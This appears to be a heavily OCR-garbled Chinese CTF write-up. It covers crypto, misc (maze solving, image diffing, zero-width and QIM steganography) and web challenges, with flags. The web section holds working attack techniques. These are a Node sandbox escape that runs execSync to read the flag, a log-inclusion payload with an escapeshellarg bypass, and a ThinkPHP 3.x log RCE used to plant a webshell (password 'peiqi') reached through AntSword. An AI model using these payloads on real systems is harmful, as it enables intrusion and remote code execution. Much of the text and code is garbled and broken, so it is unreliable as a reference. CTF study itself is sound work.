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Crypto: Yusaff) % 5% % %% 3| —BlockTrick

MISC: 5#E+1E )5 E I (FL6iE)

WEB: ezrce. catflag. easythinkphp. jspxcms. cybercms

Crypto: Yusalf) & i3 %%4% 3| —BlockTrick
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MISC- % /&
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MISC-red_vs_blue
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,26137)

for i in (66):
.recvuntil(
.sendline(answer[i])
.recvuntil( )
.recvuntil( )

if p.recv(5).decode()
p.recvuntil( )
answer=answer|[ :i] answer[i+1:]
p.sendline( )
break

else:
continue

try:
flagl=p.recvuntil(
flag2=p.recvuntil(
f=True
break

except:
PERS

if f:
break
print(flagl,flag2)

MISC-funny_maze

MRTKRT, BERTHZR, 20 PRET
JRHIA: https://blog.csdn.net/qq_29681777/article/details/83719680
xf H AT B

def winner(n):
dirs = [(e, 1), (1, @), (6, -1), (-1, 0)]
path = []

def mark(maze, pos):
maze[pos[@]][pos[1]]

passable(maze, pos):

return maze[pos[@]][pos[1]]

find_path(maze, pos, end):
mark(maze, pos)
if pos end:
print(pos, end
path.append(pos)
return True
iin (4):
nextp = pos[@] dirs[i][@], pos[1] dirs[i][1]

if passable(maze, nextp):
if find_path(maze, nextp, end):
print(pos, end )
path.append(pos)



https://blog.csdn.net/qq_29681777/article/details/83719680

return True

return False

see_path(maze, path,counts):
count 0
for i, p in (path):
if i 9:
maze[p[@]][p[1]]
elif i (path)
maze[p[@]][p[1]]
else:
maze[p[@]][p[1]]
print( )
for r in maze:
for c in r:
if c 3:
print(
count
elif c
print(
elif c 2:
print(
elif c 1:
print(
else:
print(
print()
print(count+1)
counts count +1

return counts

p.recvuntil(
[ ull
for i in (n-1):
.append( (p.recvline())[2:-3])
for i in
print(i)
maze [[@]*n for i in
for h in ( ( )):
for w in ( ( )):
if(map[w][h] ):
maze[w][h] 1
if(ord(map[w][h]) 32 or [w]lh]
maze[w][h]
print(maze)
for h in
for w in
if(map[w][h]
start (w,h)
if(map[w][h]
end (w,h)
counts (<]

find_path(maze, start, end)

¢ see_path(maze, path,counts)
p.recvline()
p.sendline( (c+1))




from pwn import

context.log level
remote( ,29622)
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from PIL import Image
import os

from tgdm import tqdm

path

pic = [

i=0

for filename in os.listdir(path):

pic[i] filename

Image. (path )
tmp.size[0],tmp.size[1]
Image.new( , (w,h), (255,255,255))

for i in tqdm( (11)):
picn Image.new( , (w,h), (255,255,255))
for t in (1,41):
picl = Image. (path (1)
pic2 = Image. (path (i+t*11)
for j in (h):
for k in (w):

tmpl = picl.getpixel((k,j))

tmp2 = pic2.getpixel((k,j))
if(tmpl tmp2):
picn.putpixel((k,j),(90,0,0))
picn.save( (1) )
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from local
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MISC-Nuclear wastewater
B~~R~~K
JRA BB LT T REAR, EMAREITEHR, RUBE N0, B—EBERRNE

RHFETR, FASEAITETR, Brlix BIEEE R ) £]32~128

from PIL import Image
img Image. (
img.size[0],img.size[1]
(3):
(10,h-10,10):
(10,w-10,10):
(img.getpixel((k,3j)))
if(tmp [255, 255, 255] and (tmp[i]) @ and tmp[i]>32 and tmp[i]<128):
print( (tmp[i]),end )
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5 R

from collections import Counter
.F

C Counter(f)

print(c)
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RUZERBRE, B4 U+200C U+200D U+200E
http://330k.github.io/misc_tools/unicode steganography.html

Text in Text Steganography Sample

Original Text: [ Clear | (length: 608)

01 ENKMAJCLEOK MAJOHECLHBCPGFDLNB IPAFFLPBKP IFNLEBBPPFKLFBAPEFBLJBMPHFCLEBBPMFJLEBBP  ~
LFOLHBCPCFHLNB IPDFGLHBCPPFKL 1 BNPHFCLOBGPGFDLBBEPPFKLHECPPFKLMBJPDF GLCBHPHFCLBBER [
FNLNB IPOFLLMBJPOF GLBBEPEFBLBBEPPFKLGBOPCFLLABFPMF.JL ABFPCFHLNB IPDF GLMBJPEFBL IBNPHF
CLLBOPOFLLBBEP IFNLOBGPAF FKAAFOPEKKDAGOGEDK JAMOAEFKL AOD]ENL 1BNPEFBLLBOPJFMLFBAPLFO
LFBAPNF [LEBBPLFOLFBAPARFLJBMPHFCLJBMPBREL IBNPHFCL IBNPNF ILBBEPPFKKP AKOHECKMAJOAEFK
1APO]ENKF AAOL EOKHACOPEKK AAF OPEKI AAFOFE AKJ AMCHECK LADODEGRMAJ OAEFKPARCNE IKBAEOTENKA
AFODEGRAAFOPERKLAODDELK.J AMOAEFK GADOFEAKE ABOLEOKOAL OLECK JAMOAEF K 1 ANOLEOK 1 ANCEEBKF A
ACHECKBAEDTENKJAMOKEPKMAJPMFJLCBHPEFBLNB [

Hidden Text: | clear| (length: 32)
P02V E4R13H, BAEC trix BRICTOdAL ™ E

N <

N

Zero Width Characters for Steganography:
[JU+200B ZERO WIDTH SPACE

U+200C ZERO WIDTH NON-JOINER
U+200D ZERO WIDTH JOINER

@ U+200E LEFT-TO-RIGHT MARK
[JU+202A LEFT-TO-RIGHT EMBEDDING
[JU+202C POP DIRECTIONAL FORMATTING
[JU+202D LEFT-TO-RIGHT OVERRIDE
[JU+2062 INVISIBLE TIMES

[JU+2063 INVISIBLE SEPARATOR
JU+FEFF ZERO WIDTH NO-BREAK SPACE

Steganography Text: | Clear | (length: 960)

01 ENKMAJOLEOK MAJOHECL HBCPGFDLNB IPAFFLPBKP [FNLEBBPPFKLFBAPEFBLJBMPHFCLEBBPMF JLEBBPLF
OLHBCPCFHLNE 1PDFGLHBCPPF KL 1BNPHFCLDBGPGFDLBBEPPFKLHBCPPFKLMBJPDFGLCBHPHF CLBBEP IFNLN
B1POFLLMBJPOF GLBBEPEFBLBBEPPFKLGBOPOFLLABFPFJLABFPCFHLNB [PDF GLMBJPEFBL IBNPHFCLLBOP
OFLLBBEP [ FNLDBGPAFFK AAFOPEKKDAGOGEDK.) AMOAEFKLACO [ENL 1BNPEFBLLBOPJFMLFBAPLFOLFBAPNF 1
LEBBPLFOLFBAPARFLJBMPHFCLJBMPBREL 1BNPHFCL [BNPNF 1 LBBEPPFKKP AKOHECKMAJOAEFKKAPO TENKFA
AOLECKHACOPER R AAF OPERIAAFOFEAK JAMOHECKL AQODE GKMAJOAEFKP AKONE TKBAEO I ENKAAFODEGKAAFOP
ERKLAOOOELKJAMOAEFKGADOF EAKEABOLEOKOAL OLEOKJ AMOAEFK 1ANOLEOK | ANOEEBKF AACHECKBAEOTENK
JAMOKEPKMAJPMFJLCBHPEFBLNBT

Download Stego Text as File



http://330k.github.io/misc_tools/unicode_steganography.html

H# bcoyberchef, EREHIMMEAZILZTRNAE LT, HFEREH LEE EHAE

OIENKMAJOLEOKMAJOHECLHBCPGFDLNBIPAFFLPBKPIFNLEBBPPFKLFBAPEFBLIBMPHFCLEBBPMFJLEBBPLFOLHBCPCFHLNBIPD
FGLHBCPPFKLIBNPHFCLDBGPGFDLBBEPPFKLHBCPPFKLMBIPDFGLCBHPHFCLBBEPIFNLNBIPOFLLMBIPDFGLBBEPEFBLBBEPPFK
LGBDPOFLLABFPMFJLABFPCFHLNBIPDFGLMBIPEFBLIBNPHFCLLBOPOF LLBBEPIFNLDBGPAF FKAAFOPEKKDAGOGEDKIAMOAEFKL
AQOIEMLIBNPEFBLLBOPJFMLFBAPLFOLFBAPNFILEBBPLFOLFBAPAFFLIBMPHFCLIBMPBFELIBNPHFCLIBNPNFILBBEPPFKKPAK
OHECKMAJOAE FKKAPOIENKFAAQOLEOKHACOPEKKAAFOPEKKAAFOF EAKJAMOHE CKLAOODEGKMAJOAEFKPAKONEIKBAEOTENKAAFOD
EGKAAFOPEKKLAOQOOELKIAMOAEFKGADOF EAKEABOL EOKOALOLEOKJAMOAEFK TANOL EOKTANOEEBKFAAOHECKBAEOTENKJAMOKEP
KMAJPMFJLCBHPEFBLNBT

Citrix CTX1 Decode o n

time: 1ms

Output ength 152 B I_D ] ra

lines:

MDGGKPAKMOGLKJAMNCHHOL EONDHGODEGNHHCOAEF TECBOBEENTHNLLBONOHLOLEOIKCPOLEOTKCPLOBLNNHIONE INNHIOOELNP
HKL JBMNLHOOOE LNLHOLOBLIHCCODEGIFCAQEEBIHCCLABFIACFPNFI

MDGGKPAKMOGLKIAMNCHHOL EONDHGODEGNHHCOAEFIECBOBEENTHNLLBONOHLOLEOIKCPOLEOIKCPLOBLNNHIONETINNHIOOELNP

. I
S Er R © HKL IBMNLHOOOELNLHOL OBL THCCODEGT FCAOEEBTHCCLABFTACFPNFT]

time: @ms
: .-
Output A - 0O m kA

flag{98@47de9ce5aaadco031fb55e0dfac70}

flag{98047de9ce5aaa4c0031fb55e9dfac70}

MISC-3 5 & B -ezSteganography
T, Histegsolvesr B HigOi@iE, 42aTF5KE

First part of flag is:flag{2e9ec6480d0515
QIM quantization is useful to get another flag.
step is 20



W5, EgOfgl e

flag{2e9ec6480d05150c211963984dcbcOf1}

WEB-ezrce

I Bryapi, BH¥EEFEyapilgif
https://blog.csdn.net/Trouble_99/article/details/118667625
XF TCE ) i AT Tk

R H R Hflag i B

KlsiH, REls..[; Is...[.. 1K Dffflllaggggg

=3=F

const sandbox = this

const ObjectConstructor = this.constructor

const FunctionConstructor = ObjectConstructor.constructor

const myfun = FunctionConstructor(‘return process’)

const process = myfun()

mockdJson = process.mainModule.require(“child_process”).execSync(“cat .../.. [fffllllaggggg”).toString()

buuoj.cn

BULCTE Bughku CTF ctfshow @3 CTFHub Thinkergody, W.. P pwnable

flag {97356d9b-6291-4fa4-96fa-8£84c3d0658b}

WEB-cat flag
RiER?: BEHAYLY T flag, WELEHER

Payload:?cmd=/var/log/nginx/access.log


https://blog.csdn.net/Trouble_99/article/details/118667625

12700000 - - [11£)ulf 20200000000 + 00001 .5‘11!31"!.‘{

192,168,122 180 - - |01/Aug/2021:00:31:07 + BA-requestsy2 2517 192.168.122 180 - - [01/8ugy20271-00:31:13 +0000| *GET / HTTR/1.17 200 1855 °-*
“MazllasS.0 (Windows NT 100, Wind, x64, red0.0) Gecka/20100101 Firelas/20.0° 192.168.122.160 - - [01/Aug 2021 00:31:14. +0000] “GET Mavicen jeo HTTPALY™ 200 1855 “hilp 383 3deT8-
d707-2a8d-9237 - feeddZaliaele. noded buugjcn/™ “Mozilla/5.0 (Windows NT 10.0; Windd; xd; reS0.0) Gecko/20M100100 FrefonS0.0°

B8%]: fthis_is_final flag_e2a457126032b42d.php

SR )5 kR A8 Ak Seit escapeshellarg

TARIE EELEE LK%, —escapeshellargfllescapeshellcmd— i
BT BLIX B 2= B b escapeshellarg B %
https://www.php.net/manual/zh/function.escapeshellarg.php

ERE A R

Downloads  Documentation  Getinvelved Help  phpt

User Contributed Notes [[ig 1 ada a note
101 ¥ phil at philfreo dot com 10 years ago
when escapeshellarg() was stripping my non-ASCII characters from a UTF-8 string, adding the following fixed the

problem:

<?php

setlocale(LC_CTYPE, "en_US.UTF-8");

>

415+ egorinsk at gmail dot com 14 years ago

Under Windows, this function puts string into double-guotes, not single, and replaces %(percent sign) with a space,
that's why it's impossible to pass a filename with percents in its name through this functien.

4 20W%  AnOnymous 15 years ago

Most of the comments abeve have misunderstood this function. It does not need to escape characters such as "$' and '™*
- 1t uses the fact that the shell does not treat any characters as special inside single quotes (except the single
quote character itself). The correct way to use this functien 1s te call it on a varlable that is intended to be passed
to a command-line pregram as a single argument to that program - you do not call it on command-line as a whole.

The person above who comments that this function behawes badly if given the empty string as input i1s correct - this is

Yescapeshellarg () MUTF-8Z & th RIBIEASCIFFFRS, WL TFHBRBE T %M.
RIEBEBRNXIES, RIFBEHME, B AnTBEAELE XA ) &
WG X Egiflag, FrLAR] DK H G InfEflag 2 H ik

Payload:http://3a33dc78-d707-4a3d-9237-fce482a8ae8e.node4.buuoj.cn/?cmd=this_is_final_fl%81ag_e2a457126032b42d.php



RIEE IR

C @ & view-source hitp3a3 3dcTB-dT07-4a3d-9237-foedf 2 aefle noded buuoj.cn/Temd=this s final fi%81ag e2ad5T1260 L7

FIM [CTF Macrs % BUUCTE Bugku CTF ctishow @ CTFHuUb Thirikes AW.. P pwnabletw  CTPWiki (DICRATF % pwnabl

<Pphp $flag="flag (5433b8ch—30a0-4026-8045-7d9a2alb2db7] " ; >

WEB-easythinkphp

ThinkPHP3.2.3

FEAEFHAThinkphpgui, —ANFIHTEEZEASx, —MEE3.xX
= Mpeiqidé

—4H#getshell

|# | ThinkphpGUI By ZEiE - O

URL:  [-18dc-4e12-Bc76-1c8b7831919 noded buuojcnl| B |Tn|nhPHP3.xLouRCE |v | .. | Cl..
]

Mg | |‘ Si | i fE 2 GetSehll

| B8 | aSdT |

45 MFER ThinkPHP 3.x RCEdh ...

I FHFEThinkPHP 3.x RCE

kMR ThinkPHP 3.x BREEE &

[+] FFEThinkPHP 3.x BEitsS

Payload: hitp:/68dcc3ct-18dc-4e12-8c76-1c8bTS3MOME noded buuoj cnitApplication/Runtimel/LogsMomes21_08_01.log

2 MEER ThinkPHP 3.x Log RCEd. .

[+] fF7EThinkPHP 3.x Log RCE

Payload: hitp:/68dcc3ch-18dc-4e12-8c76-1cBbTB3OME noded buuoj cnlif?m=Home&c=Index&a=index&value|_filename}= MApplication/Runtime/Lo
I+] hitp:/68dcc3ch-18dc-4812-Bc76-1cBbTA3MME noded buuoj enif?m=Home&c=Index&a=indexdvaiue]_flenamel=ippiicalionRuntimalogsiHo

it Vi

http://68dcc3c6-18dc-4e12-8¢c76-1c8b783f9f9f.node4.buuoj.cn//?
m=Home&c=Index&a=index&value[_filename]=./Application/Runtime/Logs/Home/21_08 01.log
Pass:peiqi




@ sl - o x
AntSword #M B0 Wt
4 5 11721200166 ]
D ERME(17) < Oxf % (32) ~
=X mlf] oFR - #tE CRFE w#IBR RAEE - + i
+ = <td class="g"»_POST["pek e BE Ein it
B bin —
o e O tmp 2021-08-01 08:44:06 4 Kb 1777
[ O usr 2020-03-01 04:24:16 19b 0755
M home O var 2019-01-31 09:32:04 Wb 0755
b B [filename] =&gt; ./Application /Runtime/Logs/Home/21_08 1 MaH b
= meda [E [_filename] -&gt; ./Application/Runtime/Logs/Home/21_08_I Mah b
: mk [0 guot;secho @asenc{soutputl;ech Squot;eddefelquot;;}o Bquot;.$T.Aquat; Mal b Squot;.SE.&quol
- :‘:: () squots;if(is_dirlsP1)sM.=$N.Bauat;/Baquat;. $Riele $L.=6N Nah b
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